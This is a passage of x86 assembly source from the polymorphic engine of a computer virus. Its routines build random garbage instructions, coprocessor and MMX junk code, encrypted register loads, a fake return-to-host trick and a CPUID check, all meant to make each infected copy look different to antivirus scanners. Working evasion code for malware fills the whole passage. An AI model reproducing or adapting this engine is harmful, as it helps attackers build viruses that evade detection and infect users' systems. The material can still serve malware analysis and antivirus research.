a ;bafflement. So, this garbage generate this code: ; ; CALL __pos_1 ;any garbages ; ;typical CALL rnd_data ; __i: JMP __compare_back ; NEW JUMP ; ;typical CALL rnd_data ; __pos_1: ; ;loop,next_index... ; DEC reg32 ;typical CMP instruction ; ; CMP reg32,reg32 ;compare registers ; ;no_flags garbages ; JNZ __i ;typical CMP c-jump ; __compare_back: ;come back and continue ; ; g_compare: ; do not recursived - because it's few registers cmp byte ptr [ebp+recursive_level-virus_start],1 jnz a_compare ; have we some free place in rnd_fill ? cmp byte ptr [ebp+compare_index-virus_start],0 jz a_compare ; save used-regs mov al,[ebp+used_regs-virus_start] push eax ; select a free base-reg to DEC call gen_garbage_based call ppe_get_empty_reg call __reg_to_bcd or [ebp+used_regs-virus_start],ah mov al,48h ;DEC identification or al,byte ptr [ebx] stosb ;save DEC empty_reg32 call gen_garbage_based ; build CMP instruction mov edx,ebx __gc_new_reg: call ppe_get_reg cmp ebx,edx ;i don't want same regz jz __gc_new_reg mov ah,byte ptr [edx] ;reg to AH shl ah,3 ; * 8 or ah,al or ah,0C0h mov al,3Bh ;CMP identification stosw call gen_garbage_no_flags ; build JNZ jmp mov ax,850Fh ;JNZ far signature stosw movzx eax,byte ptr [ebp+compare_index-virus_start] call ppe_get_rnd_range ;select mov eax,[ebp+compare_buffer+04h*eax-virus_start] add eax,[ebp+poly_start-virus_start] push eax sub eax,edi sub eax,4 stosd call gen_garbage_based ; build JMP to rnd_fill pop ecx ;EDI of rnd_fill_jmp in ECX mov al,0E9h ;JMP far signature mov byte ptr [ecx],al mov eax,edi sub eax,ecx sub eax,5 mov dword ptr [ecx+1],eax call gen_garbage_based ; destroy all rnd_fill buffers mov byte ptr [ebp+compare_index-virus_start],00h ; restore used_regs pop eax mov [ebp+used_regs-virus_start],al a_compare: ret ;ÄÄÄ´ function to simulate return to host ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; ÀÄÄÄÄÄÄÄ sado-maso function ÄÄÄÄÄÄÄÄÙ ;--------------------------------------------------------- ;This is my special function to simulate end of decoding. ;Here is scheme: ; ; ;this is decrypted part ; __iluzo_return_1: ;try to find it in this ; JMP __back ;file ! ; ; ; __poly_start: ;start of poly decoder ; ;gen index,code... ; ;is <__iluzo_return_1> ; ;decrypted ? or not ? ; JMP reg32 ; __back: ; ; ;By my tests I know for gen_garbage is only one empty base ;reg - it means I cannot read index_reg from copro/mmx regz ;because must be REG_NO_COPRO free. ; __g_ir_jump dd ? ;offs E9xxxx in virus-body __g_ir_compare dd ? ;offs JNZ cjump ; g_iluzo_return: ; test, if global index reg is generated cmp byte ptr [ebp+gl_index_reg-virus_start],-1 jz a_iluzo_return ; we can't be recursived cmp byte ptr [ebp+recursive_level-virus_start],1 jnz a_iluzo_return ; what and where to detect cmp byte ptr [ebp+index_reg-virus_start],0 jnz a_iluzo_return cmp byte ptr [ebp+index_reg_get-virus_start],1 jnz a_iluzo_return ; save used-regs mov al,[ebp+used_regs-virus_start] push eax ; select __iluzo_return label __g_ir_new_reg: mov eax,(end_iluzo_ret - tbl_iluzo_ret) / 04h call ppe_get_rnd_range lea esi,[ebp+tbl_iluzo_ret+04h*eax-virus_start] lodsd sub eax,offset virus_start mov ebx,file_size sub ebx,eax mov [ebp+__g_ir_jump-virus_start],ebx ; select a free register call ppe_get_empty_reg mov eax,[ebp+__g_ir_jump-virus_start] sub eax,00000020h ;JMP far has got five bytes not eax movzx ebx,byte ptr [ebx] call ppe_crypt_value mov al,bl call __reg_to_bcd or [ebp+used_regs-virus_start],ah lea ebx,[ebp+tbl_regs+02h*ebx-virus_start] call __copro_fix_delta ; compare index and iluzo_index call gen_garbage_based mov ah,byte ptr [ebx] shl ah,3 or ah,[ebp+index_reg_place-virus_start] or ah,0C0h mov al,3Bh stosw call gen_garbage_no_flags mov [ebp+__g_ir_compare-virus_start],edi add edi,6 call gen_garbage_based ; restore used-regs pop eax mov [ebp+used_regs-virus_start],al ; ready to CALL there mov eax,[ebp+__g_ir_jump-virus_start] dec eax not eax pusha call c_call_reg32 ;edi-2 = call reg32 instr mov [esp],edi ;actualize EDI register popa call gen_garbage_based ; set JNB here mov edx,[ebp+__g_ir_compare-virus_start] mov eax,edi sub eax,edx sub eax,6 mov word ptr [edx],830Fh mov [edx+2],eax a_iluzo_return: ret ;ÄÄÄ´ generate fld/fild/fld(pi,1,ln2,lg2,l2e,l2t,z) ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;--------------------------------------------------------- ;This function can save any value to copro-reg. It can be ;from memory (real or integer) or we can use pre-defined ;instruction like: fldpi,fldlg2,fldl2t,fldl2e and so on. ;I don't support addressing for ESP,EBP register because ;they've other code (two bytes) then standard (EAX,ECX...) ; ;input: AL = copro-reg ; ESI = offset of function (fldpi,...) ; __g_cm_test db ? ;cjmp placed ? ; g_copro_movin: ; test if we aren't too near call __gr_where_in_mem jc a_copro_movin ; use I mmx ? If yes, I can't use copro-garbage mov al,1 call __mmx_test_start mov byte ptr [ebp+__g_cm_test-virus_start],1 ; select a random instruction mov eax,(end_copro_movin - tbl_copro_movin) / 03h call ppe_get_rnd_range imul eax,03h lea esi,[ebp+tbl_copro_movin+eax-virus_start] ; now, I'm gonna generate place in memory when I'll read ; It's because of compatibility with the next label call __copro_get_mem ; select a free copro-reg call ppe_get_empty_reg_copro jmp d_copro_movin ; I can jump here if I'd like to save to copro-reg cartain ; value BUT I can call this function via other parent func. c_copro_movin: mov byte ptr [ebp+__g_cm_test-virus_start],0 d_copro_movin: call __copro_set ;set copro-reg to ST(0) ; save used-regs mov al,[ebp+used_regs-virus_start] push ax mov eax,0C7DDF7D9h ;FINCSTP stosd ;FFREE ST(7) lodsb or al,al ;must I modify reg ? jz __cm_fldx __cm_new_reg: ;I don't want EBP,ESP call ppe_get_empty_reg test byte ptr [ebx+REG_FLAGS],REG_NO_COPRO jnz __cm_new_reg call __reg_to_bcd or [ebp+used_regs-virus_start],ah push ebx mov bl,byte ptr [ebx] mov eax,edx call ppe_crypt_value ;crypt address pop ebx call __copro_fix_delta ;EBX to input lodsw ;instruction id or ah,byte ptr [ebx] ;set reg stosw jmp __cm_finish __cm_fldx: lodsw ;pre-defined instructions stosw __cm_finish: call __copro_reset ;set ST(0) back pop ax mov [ebp+used_regs-virus_start],al ; test if I placed cjmp cmp byte ptr [ebp+__g_cm_test-virus_start],0 jz a_copro_movin call __mmx_test_finish a_copro_movin: ret ;ÄÄÄ´ generate fst/fist (word/dword/qword) ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;--------------------------------------------------------- ;This function loads any value from copro-reg to memory. ;If you will want to read value from ST(6) you can also ;call this function (c_copro_movout) and in AL you will ;have copro-reg (by tbl_regs table). ; ;input: for c_copro_movout in AL copro-reg ; ESI = offset of instruction ;output: EAX = place of value in memory ; __g_cmout_test db ? ;cjmp placed ? ; g_copro_movout: ; where we are in memory call __gr_where_in_mem jc a_copro_movout ; may I use copro-garbage when I'm using mmx ? mov al,1 call __mmx_test_start mov byte ptr [ebp+__g_cmout_test-virus_start],1 ; select a random instruction mov eax,(end_copro_movout - tbl_copro_movout) / 02h call ppe_get_rnd_range lea esi,[ebp+tbl_copro_movout+02h*eax-virus_start] ; select a free copro-reg call ppe_get_empty_reg_copro jmp d_copro_movout c_copro_movout: mov byte ptr [ebp+__g_cmout_test-virus_start],0 d_copro_movout: call __copro_set ;set copro-reg to ST(0) __cmo_new_reg: call ppe_get_empty_reg test byte ptr [ebx+REG_FLAGS],REG_NO_COPRO jnz __cmo_new_reg call __reg_to_bcd or [ebp+used_regs-virus_start],ah push ebx mov bl,byte ptr [ebx] call __copro_get_mem mov eax,edx call ppe_crypt_value pop ebx push eax ;eax = place of value in mem call __copro_fix_delta lodsw or ah,byte ptr [ebx] stosw call __copro_reset ;set ST(0) back ; enable register movzx eax,byte ptr [ebx] call __reg_to_bcd not ah and [ebp+used_regs-virus_start],ah pop eax ;place of value in memory ; jump placed ? cmp byte ptr [ebp+__g_cmout_test-virus_start],0 jz a_copro_movout call __mmx_test_finish a_copro_movout: ret ;ÄÄÄ´ generate fadd/fiadd/fsub/fisub (word/dword/qword - ST(x),ST) ÃÄÄÄÄÄÄ ;--------------------------------------------------------- ;This function can generate simple math operation like is ;FADD, FIADD, FSUB, FISUB. I also know FDIV, FCOMP, FMUL, ;FIDIVR etc. but they use sometimes later... The very ;interesting instruction is (FADD,...) ST(x),ST which she ;works with ST(x) and ST (if ST=empty then ST(x)=FAIL !!) ;Also this function can be call from other parent function ; ;input: AL = copro-reg ; EDX = place of value in memory ; ESI = offset of function (fadd,...) ; __g_cmath_test db ? ;cjmp placed ? ; g_copro_math: ; where we are in memory call __gr_where_in_mem jc a_copro_math ; use copro-garbage, when I'm using mmx ? mov al,1 call __mmx_test_start mov byte ptr [ebp+__g_cmath_test-virus_start],1 ; select a random function mov eax,(end_copro_math - tbl_copro_math) / 02h call ppe_get_rnd_range lea esi,[ebp+tbl_copro_math+02h*eax-virus_start] ; now we choose a pleasent place in memory call __copro_get_mem call ppe_get_empty_reg_copro jmp d_copro_math c_copro_math: mov byte ptr [ebp+__g_cmath_test-virus_start],0 d_copro_math: call __copro_set ; save used-regs mov al,[ebp+used_regs-virus_start] push ax ; I must crypt address ... __cmath_new_reg: call ppe_get_empty_reg test byte ptr [ebx+REG_FLAGS],REG_NO_COPRO jnz __cmath_new_reg call __reg_to_bcd or [ebp+used_regs-virus_start],ah push ebx mov bl,byte ptr [ebx] mov eax,edx call ppe_crypt_value ;crypt address pop ebx call __copro_fix_delta ; my new instruction ... lodsw or ah,byte ptr [ebx] stosw call __copro_reset pop ax mov [ebp+used_regs-virus_start],al ; jump placed ? cmp byte ptr [ebp+__g_cmath_test-virus_start],0 jz a_copro_math call __mmx_test_finish a_copro_math: ret ;ÄÄÄ´ generate fsin/fcos/fsincos/fpatan/fabs/frndint/ffree/fxch... ÃÄÄÄÄÄÄ g_copro_others: ; where we're in memory call __gr_where_in_mem jc a_copro_others ; use copro-garbage... ? mov al,1 call __mmx_test_start ; select a random instruction mov eax,(end_copro_others - tbl_copro_others) / 03h call ppe_get_rnd_range imul eax,03h lea esi,[ebp+tbl_copro_others+eax-virus_start] ; must I modify reg ? lodsb or al,al jnz __co_modify_reg ; select a free reg call ppe_get_empty_reg_copro call __copro_set lodsw ;load instruction to AX stosw call __copro_reset call __mmx_test_finish ;here was bug !! ret __co_modify_reg: ;only FFREE ST(x), FXCH ST(x) call ppe_get_empty_reg_copro mov bl,al lodsw or ah,bl ;set a free copro-reg stosw call __mmx_test_finish a_copro_others: ret ;ÄÄÄ´ generate fully 46 instructions of MMX ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;--------------------------------------------------------- ;This functions can generate many instructions for IA-MMX ;It's instructions for adding, subtractive, comparing ... ;oparations. I also know IA-MMX-2 instructions and MMX ;instructions for Cyrix CPU but I don't support them. ;The sutructure of one MMX instruction is following: ; ; 0Fh, byte from table, 0C0h + dest SHL 3 + src ; ;where dest is an empty MMX register and src is any ; g_mmx: ; does CPU support MMX ? mov al,0 call __mmx_test_start ; get any instruction mov eax,end_mmx_others - tbl_mmx_others call ppe_get_rnd_range lea esi,[ebp+tbl_mmx_others+eax-virus_start] ; build one mov ah,0Fh ;MMX identification lodsb ;and not only one xchg ah,al stosw ; get registers call ppe_get_empty_reg_mmx push ebx call ppe_get_empty_reg pop edx mov al,byte ptr [edx] shl al,3 or al,byte ptr [ebx] or al,0C0h stosb ; finish test call __mmx_test_finish ret ;ÄÄÄ´ generate some garbage code ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;--------------------------------------------------------- ;This main function can generate garbages from my great ;table. Function can be recursived but it can't generate ;copro garbages yet. You can set (garbage_style) if you ;wanna generate unmodify flags instructions. ; gen_garbage: inc byte ptr [ebp+recursive_level-virus_start] cmp byte ptr [ebp+recursive_level-virus_start],4 jae gg_exit ; are registers full ? cmp byte ptr [ebp+used_regs-virus_start],0EFh jz gg_exit pusha mov eax,00000004h call ppe_get_rnd_range inc eax mov ecx,eax __gg_loop: push ecx ; have I use unmodify flags instructions ? cmp byte ptr [ebp+garbage_style-virus_start],USED_FLAGS jnz __ggl_flags mov eax,(end_no_flags - tbl_no_flags) / 02h call ppe_get_rnd_range lea esi,[ebp+tbl_no_flags+eax*02h-virus_start] lodsb call ppe_get_rnd_range add al,[esi] call __gg_test jc __gg_finish lea esi,[ebp+tbl_garbage+04h*eax-virus_start] mov eax,[esi] jmp __gg_jump __ggl_flags: mov eax,(end_garbage - tbl_garbage) / 04h call ppe_get_rnd_range call __gg_test jc __gg_finish lea esi,[ebp+tbl_garbage+eax*04h-virus_start] lodsd __gg_jump: add eax,ebp sub eax,offset virus_start call eax __gg_finish: pop ecx loop __gg_loop mov [esp],edi popa gg_exit: dec byte ptr [ebp+recursive_level-virus_start] ret __gg_test: clc push eax test byte ptr [ebp+garbage_style-virus_start],not USED_BASED jnz __ggt_copro cmp eax,__garbage_based_num jae __ggt_failed __ggt_copro: test byte ptr [ebp+garbage_style-virus_start],not USED_COPRO jnz __ggt_mmx sub eax,__garbage_based_num cmp eax,__garbage_copro_num jae __ggt_success __ggt_mmx: test byte ptr [ebp+garbage_style-virus_start],not USED_MMX jnz __ggt_success sub eax,__garbage_copro_num cmp eax,__garbage_mmx_num jb __ggt_success __ggt_failed: stc __ggt_success: pop eax ret ; generate only based-garbage gen_garbage_based: push ax mov al,byte ptr [ebp+garbage_style-virus_start] mov byte ptr [ebp+garbage_style-virus_start],USED_BASED gen_garbage_no_finish: call gen_garbage mov byte ptr [ebp+garbage_style-virus_start],al pop ax ret ; gnerate garbage which will not modify flags (mov,stack...) gen_garbage_no_flags: push ax mov al,[ebp+garbage_style-virus_start] mov byte ptr [ebp+garbage_style-virus_start],USED_FLAGS jmp gen_garbage_no_finish ;ÄÄÄ´ function to rotate with coprocessor regs ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;--------------------------------------------------------- ;These functions MUST be called consecutively. The main ;problem is that I can't get value from ST(6) directly. ;I must ST(6) move to ST(0) and then I may read/write there. ;And then move ST(0) to ST(6). I've got two way (which I ;know). Use FINCSTP/FDECSTP or FXCH ST(x). Because I'm ;so mad I will use both way but for FINCSTP/FDECSTP I use ;only standard LOOP because I would have to rewrite ;DEC reg(8/16/32), JNZ jump for copro-using. Never mind. ; ;input: AL=what ST(x) to modify -> write to ST(0) ; __cs_mode db ? ;__set OR __reset ? __cs_reg db ? ;copro reg __cs_reg_count db ? ;base-reg like a counter __cs_style db ? ;FDECSTP/FINCSTP or FXCH ? __cs_decinc db ? ;0=FINCSTP, 1=FDECSTP __copro_set: mov byte ptr [ebp+__cs_mode -virus_start],0 mov byte ptr [ebp+__cs_reg -virus_start],al mov byte ptr [ebp+__cs_style-virus_start],1 pusha ; choose between FDECSTP/FINCSTP and FXCH ST(x) mov eax,00000002h call ppe_get_rnd_range or al,al jz __cs_xchg ; disable base-reg mov al,[ebp+used_regs-virus_start] push ax call ppe_get_empty_reg call __reg_to_bcd or [ebp+used_regs-virus_start],ah mov byte ptr [ebp+__cs_reg_count-virus_start],al mov byte ptr [ebp+__cs_style -virus_start],0 mov byte ptr [ebp+__cs_decinc-virus_start],0 call ppe_get_rnd32 and al,1 jnz __cs_decinc_okay mov byte ptr [ebp+__cs_decinc-virus_start],1 __cs_decinc_okay: call __copro_process pop ax mov [ebp+used_regs-virus_start],al jmp __cs_finish __cs_xchg: cmp byte ptr [ebp+__cs_reg-virus_start],0 jz __cs_finish mov ax,0C8D9h or ah,byte ptr [ebp+__cs_reg-virus_start] stosw __cs_finish: mov [esp],edi popa ret __copro_reset: pusha mov byte ptr [ebp+__cs_mode-virus_start],1 ; is it FXCH ? cmp byte ptr [ebp+__cs_style-virus_start],1 jnz __csr_decinc jmp __cs_xchg __csr_decinc: mov al,[ebp+used_regs-virus_start] push ax call ppe_get_empty_reg call __reg_to_bcd or [ebp+used_regs-virus_start],ah mov [ebp+__cs_reg_count-virus_start],al neg byte ptr [ebp+__cs_decinc-virus_start] inc byte ptr [ebp+__cs_decinc-virus_start] call __copro_process pop ax mov [ebp+used_regs-virus_start],al jmp __cs_finish ; internal function, don't call it __copro_process: movzx eax,byte ptr [ebp+__cs_reg-virus_start] or al,al jz __csp_finish cmp byte ptr [ebp+__cs_decinc-virus_start],1 jz __csp_dec cmp byte ptr [ebp+__cs_mode-virus_start],0 jnz __csp_decokay sub eax,9 not eax __csp_decokay: push 0000F6D9h ;FDECSTP jmp __csp_inc __csp_dec: cmp byte ptr [ebp+__cs_mode-virus_start],1 jnz __csp_incokay sub eax,9 not eax __csp_incokay: push 0000F7D9h ;FINCSTP __csp_inc: mov bl,[ebp+__cs_reg_count-virus_start] call ppe_crypt_value push edi ;I must generate garbage call gen_garbage_based ;and between them I must mov eax,[esp+4] ;put FDECSTP or FINCSTP stosw ;instruction and generate call gen_garbage_based ;garbage again - wow ! ; generate DEC reg32 + JNZ mov al,48h or al,[ebp+__cs_reg_count-virus_start] stosb call gen_garbage_no_flags mov ax,850Fh ;JNZ stosw ; get come-back offset pop eax ;you're swine! pop ebx sub eax,edi sub eax,4 ;JNZ's six bytes - ID func stosd __csp_finish: ret ;ÄÄÄ´ function for mov base-reg to copro-reg ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;--------------------------------------------------------- ;This function can generate a code which move a base-reg ;to a copro-reg using memory like a buffer. ; ;input: AH = base-reg ; AL = copro-reg ; __cr2m_regs dw ? ; __copro_reg2mov: mov word ptr [ebp+__cr2m_regs-virus_start],ax ; where we're in memory call __gr_where_in_mem jc __cr2m_finish ; save used-regs movzx ecx,byte ptr [ebp+used_regs-virus_start] movzx eax,word ptr [ebp+__cr2m_regs-virus_start] shr eax,8 call __reg_to_bcd or byte ptr [ebp+used_regs-virus_start],ah mov ch,[ebp+used_regs-virus_start] push ecx ; choose a place in memory call __copro_get_mem __cr2m_new_reg: call ppe_get_empty_reg test byte ptr [ebx+REG_FLAGS],REG_NO_COPRO jnz __cr2m_new_reg call __reg_to_bcd or [ebp+used_regs-virus_start],ah push ebx mov bl,al mov eax,edx call ppe_crypt_value pop ebx call __copro_fix_delta mov ax,[ebp+__cr2m_regs-virus_start] shl ah,3 or ah,byte ptr [ebx] mov al,89h stosw ; base-reg is in memory, I don't need it... pop ecx mov [ebp+used_regs-virus_start],cl push ecx ; FILD dword ptr instruction mov ax,[ebp+__cr2m_regs-virus_start] lea esi,[ebp+tbl_copro_movin+03h-virus_start] call c_copro_movin ; enable register pop ecx mov [ebp+used_regs-virus_start],ch __cr2m_finish: ret ;ÄÄÄ´ function for mov copro-reg to base-reg ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;--------------------------------------------------------- ;This function can generate a code which we moved the cer- ;tain copro-reg to base-reg. Here I use g_copro_movout ;function. ; ; * the first I must move copro-reg (which I want) to ST(0) ; by __copro_set function ; * Read a value from ST(0) and write to defined place in ; memory by g_copro_movout function ; * And put the value from mem to base-reg ; ;input: AH = base-reg ; AL = copro-reg ; __cm2r_regs dw ? ; __copro_mov2reg: ; save registers pusha mov word ptr [ebp+__cm2r_regs-virus_start],ax ; disable input register mov al,byte ptr [ebp+used_regs-virus_start] push ax mov al,byte ptr [ebp+__cm2r_regs-virus_start+1] call __reg_to_bcd or byte ptr [ebp+used_regs-virus_start],ah ; where we're in memory call __gr_where_in_mem jc __cm2r_finish ; FIST dword ptr instruction mov ax,[ebp+__cm2r_regs-virus_start] lea esi,[ebp+tbl_copro_movout+02h-virus_start] call c_copro_movout ;get value to mem (EAX=place) ;get empty base-reg push ebx push eax __cm2r_new_reg: call ppe_get_empty_reg test byte ptr [ebx+REG_FLAGS],REG_NO_COPRO jnz __cm2r_new_reg call __reg_to_bcd or [ebp+used_regs-virus_start],ah mov [esp+4],ebx mov bl,al pop eax call ppe_crypt_value movzx ebx,bl lea ebx,[ebp+tbl_regs+ebx*02h-virus_start] call __copro_fix_delta pop ebx ;get value from mem mov ax,[ebp+__cm2r_regs-virus_start] shl ah,3 or ah,byte ptr [ebx] mov al,8Bh stosw __cm2r_finish: pop ax mov byte ptr [ebp+used_regs-virus_start],al mov [esp],edi popa ret ;ÄÄÄ´ function to calculate a free place in mem (only copro) ÃÄÄÄÄÄÄÄÄÄÄÄÄ ;---------------------------------------------------------- ;This function returns offset in poly-decode loop which ;it's unnecessary yet. It's a free place when my functions ;save some value to fill base-regs (from copro-regs). ; __copro_get_mem: mov eax,[ebp+poly_start-virus_start] cmp [ebp+counter_back-virus_start],edi jb __copro_gm_ledi sub eax,edi jmp __copro_gm_okay __copro_gm_ledi: sub eax,[ebp+counter_back-virus_start] __copro_gm_okay: neg eax sub eax,8 ;qword ptr ... call ppe_get_rnd_range mov edx,eax ; now, we must test if EDX don't come under movzx eax,byte ptr [ebp+compare_index-virus_start] __copro_gm_test: or eax,eax jz __copro_gm_finish push edx dec eax sub edx,[ebp+compare_buffer+04h*eax-virus_start] test edx,80000000h jz __copro_gm_plus cmp edx,-5 pop edx jbe __copro_gm_nextest jmp __copro_get_mem __copro_gm_plus: cmp edx,00000005h pop edx jb __copro_get_mem __copro_gm_nextest: jmp __copro_gm_test __copro_gm_finish: ret ;ÄÄÄ´ function to fix delta for copro operations ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;--------------------------------------------------------- ;If we generated offset of free memory (by __copro_get_mem) ;then it's more then time to use delta. ; ;input: EBX = offset to reg __copro_fix_delta: mov al,03h mov ah,byte ptr [ebx] shl ah,3 or ah,byte ptr [ebp+gl_index_reg-virus_start] or ah,0C0h stosw ret ;ÄÄÄ´ function to crypt a destination value ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; ÀÄÄÄÄÄÄÄÄÄ sado-maso function ÄÄÄÄÄÄÄÄÙ ;--------------------------------------------------------- ;This function is for crypt a real value which we want to ;hide. I use only base-reg (eax,edi...) because If I would ;like to introduce the coprocessor I'd have to use FILD and ;FIST instruction: FILD qword ptr [edi], where EDI I wanted ;generate. At first I generate code for encode a destination ;value and I find out a crypt value. During encoding I save ;a opposite instruction to stack (add <=> sub). I could not ;to save decode instructions into a special buffer because ;I didn't know a real size - the stack is better for this. ; ;input: EAX=destination value ; BL=destionation register (not in BCD) ; ;used instructions: ADD opposite SUB and on the contrary ; ROL opposite ROR ; XOR reg <==> XOR reg ; NOT reg <==> NOT reg ; MOV reg1,reg2 <==> MOV reg2,reg1 ; ;do you have anything else ? ; ;and now... example: ; * I want to generate number 0x402CC1 to EDX register ; MOV ESI, 1985FDD6 ; ROL ESI, BB ; MOV EAX, ESI ; NOT EAX ; MOV EDX, EAX ; SUB EDX, 4FF3A350 ->EDX = 0x402CC1 ; ;This is only example but reality it other... better !!! ; actual_reg db ? ;where we've our number which we're generating future_reg db ? ;our destination register actual_instr db ? ;actual instruction in generate old_place dd ? ;where's start crypt value ; ppe_crypt_value: pusha mov ecx,eax ;save destination value mov [ebp+old_place-virus_start],edi mov [ebp+actual_reg-virus_start],bl mov [ebp+future_reg-virus_start],bl ; save destination value to destination reg mov al,0B8h or al,bl stosb ;select destination reg mov eax,ecx stosd ;save destination value ; how many instruction we'll use mov eax,00000007h call ppe_get_rnd_range inc eax mov byte ptr [ebp+actual_instr-virus_start],al push 12345678h ;flag to stack __cv_next_loop: mov eax,00000003h ;may I change register ? call ppe_get_rnd_range or eax,eax jnz __cv_continue call ppe_get_empty_reg ;i want a free register mov al,08Bh mov ah,byte ptr [ebx] ;my future reg32 cmp ah,byte ptr [ebp+actual_reg-virus_start] jz __cv_next_loop ;blah - mov ecx,ecx ?? shl ah,3 or ah,byte ptr [ebp+actual_reg-virus_start] or ah,0C0h stosw ;finish but now i must create opposite for decode mov al,byte ptr [ebx] mov ah,byte ptr [ebp+actual_reg-virus_start] shl ah,3 or ah,al or ah,0C0h mov byte ptr [ebp+actual_reg-virus_start],al mov al,08Bh push ax ;ax = decode mov __cv_continue: mov eax,(end_num_code - tbl_num_code) / 04h call ppe_get_rnd_range ;select operation lea esi,[ebp+tbl_num_code+4*eax-virus_start] lodsb ;load where we have encode instruction lodsw ;AH = base_reg, AL = id_operation or ah,[ebp+actual_reg-virus_start] push ax ;save because of separate actual_reg stosw lodsb ;imm(X) = 3rd_number * 8 mov dl,al push ax ;now, we must generate imm __cv_generate_imm: ;imm32 = (add,sub) reg32,imm32 or dl,dl ;imm8 = (rol,ror) reg32,imm8 jz __cv_opposite_code ;imm0 = not reg32 call ppe_get_rnd32 rol ebx,8 ;save rnd number to EBX mov bl,al stosb dec dl jmp __cv_generate_imm __cv_opposite_code: pop ax ;ax = imm(X) pop cx ;ch = reg32, cl = encode instruction __cv_oc_generate_imm: or al,al ;is it imm0 ? jz __cv_oc_imm_ok dec esp ;save imm to stack mov byte ptr ss:[esp],bl ror ebx,8 ;next number in imm dec al jmp __cv_oc_generate_imm __cv_oc_imm_ok: lea esi,[esi-4] ;esi = start of encode instruction lodsb ;AL = opposite instruction (add <=> sub) movsx eax,al ;is it previous or next instruction ? add esi,eax ;esi = decode instruction lodsb lodsw ;al = (en/de)code instruction and ch,00000111b ;separate reg only or ah,ch ;change register push ax ;save encode instruction to stack dec byte ptr [ebp+actual_instr-virus_start] jnz __cv_next_loop ;now, we must find out the crypt value mov ax,0C08Bh or ah,byte ptr [ebp+actual_reg-virus_start] stosw ;save destination value to EAX mov al,0C3h stosb ;ret = out of call ;to find out crypt value we must call decode function ;output: eax = crypt value pusha call dword ptr [ebp+old_place-virus_start] mov [esp].access_eax,eax popa ;save into last_reg our crypt value mov edi,[ebp+old_place-virus_start] push eax mov al,0B8h or al,byte ptr [ebp+actual_reg-virus_start] stosb pop eax stosd ;now, we must write decode instructions to old EDI __cv_oc_out_of_stack: cmp dword ptr ss:[esp],12345678h jz __cv_oc_finish mov al,byte ptr ss:[esp] inc esp stosb jmp __cv_oc_out_of_stack __cv_oc_finish: pop eax ;flag from stack mov [esp],edi popa ret ;ÄÄÄ´ function to put CPUID and MMX test to poly-decode loop ÃÄÄÄÄÄÄÄÄÄÄÄÄ ; ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ sado-maso function ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ;--------------------------------------------------------- ;This function is necessary for detect if computer supports ;MMX instructions. To detect we must use CPUID instruction ;(see below). And test flag from EDX output parameter. But ;no every computer supports CPUID instruction. We can find ;out it if we test 21st bit in EFLAGS. I think this function ;is very difficult to understand although I've used a lot ;of comments. Now I show you scheme (only one part): ; ; PUSHFD ; POP main_reg32 ; a) AND, OR ; GEN 1 shl 21 to reg32 ; a) OR main_reg32, reg32 a) OR main_reg32, 1 shl 21 ; b) ADD main_reg32, reg32 b) ADD main_reg32, 1 shl 21 ; b) BTS, (BTC - hmmm, It's not supports here - preferably) ; GEN 21 to reg32 (why 21 ? see below -CPUID-) ; a) (BTS) main_reg32, reg32 ; b) (BTS) main_reg32, 21 (21 won't in reg32) ; ... ; this is only scheme of part one BUT reality is better !!! ; ;What's happend if CPUID isn't supported ? ; ; JNC NOT_CPUID ; MOV EAX,00000001h ;crypted EAX ; CPUID ;check if MMX ; BT EDX,23 ;test 23rd bit ; NOT_CPUID: ;result in (Z)ero ; ;Using CPUID (only for MMX suport): ; * EAX=00000001h + CPUID (0Fh, 0A2h) ; * and EAX,EDX will be fill, ; EDX[23]=CPU supports IA-MMX, EDX[24]=IA-MMX 2 support ; ;This function is very crazy rather - I think. ; __cm_stack_out db ? ;main_reg32 is in stack ? __cm_main_reg db ? ;where we have EFLAGS __cm_slave_reg db ? ;helping reg32 __cm_start_jump dd ? ;global disable test ; __cpuid_mmx: pusha ; save registers mov al,[ebp+used_regs-virus_start] push ax ; test, if our poly-engine don't support MMX for file cmp byte ptr [ebp+copro_or_mmx-virus_start],0 jnz __cm_prepare mov al,0F8h ;CLC instruction stosb jmp __cm_after_test ; the first we test if CPU supports CPUID __cm_prepare: mov byte ptr [ebp+__cm_stack_out-virus_start],0 mov al,9Ch ;PUSHF instruction stosb call gen_garbage_based ; POP reg32 + test __cm_part_1: call ppe_get_empty_reg ;save EFLAGS to reg32 mov al,byte ptr [ebx] mov [ebp+__cm_main_reg-virus_start],al call __reg_to_bcd or [ebp+used_regs-virus_start],ah or al,58h stosb ;POP reg32 call gen_garbage_based mov eax,00000002h ;(OR) || (BTC,BTS,...) ? call ppe_get_rnd_range cmp al,1 jz __cmp1_type_2 ; select type of detect __cmp1_type_1: mov eax,00000002h ;from reg32 or operand ? call ppe_get_rnd_range cmp al,1 jz __cmp1t1_type_2 ; we'll generate (1 shl 21) to reg32 and set flag __cmp1t1_type_1: call ppe_get_empty_reg mov [ebp+__cm_slave_reg-virus_start],al mov bl,al call __reg_to_bcd or byte ptr [ebp+used_regs-virus_start],ah mov eax,1 shl 21d call ppe_crypt_value ;get (1 shl 21) to reg32 mov eax,00000002h call ppe_get_rnd_range cmp al,1 jz __cmp1t1t1_type_2 ; OR main_reg32, reg32 __cmp1t1t1_type_1: mov al,0Bh __cmp1t1t1_after: mov ah,[ebp+__cm_main_reg-virus_start] shl ah,3 or 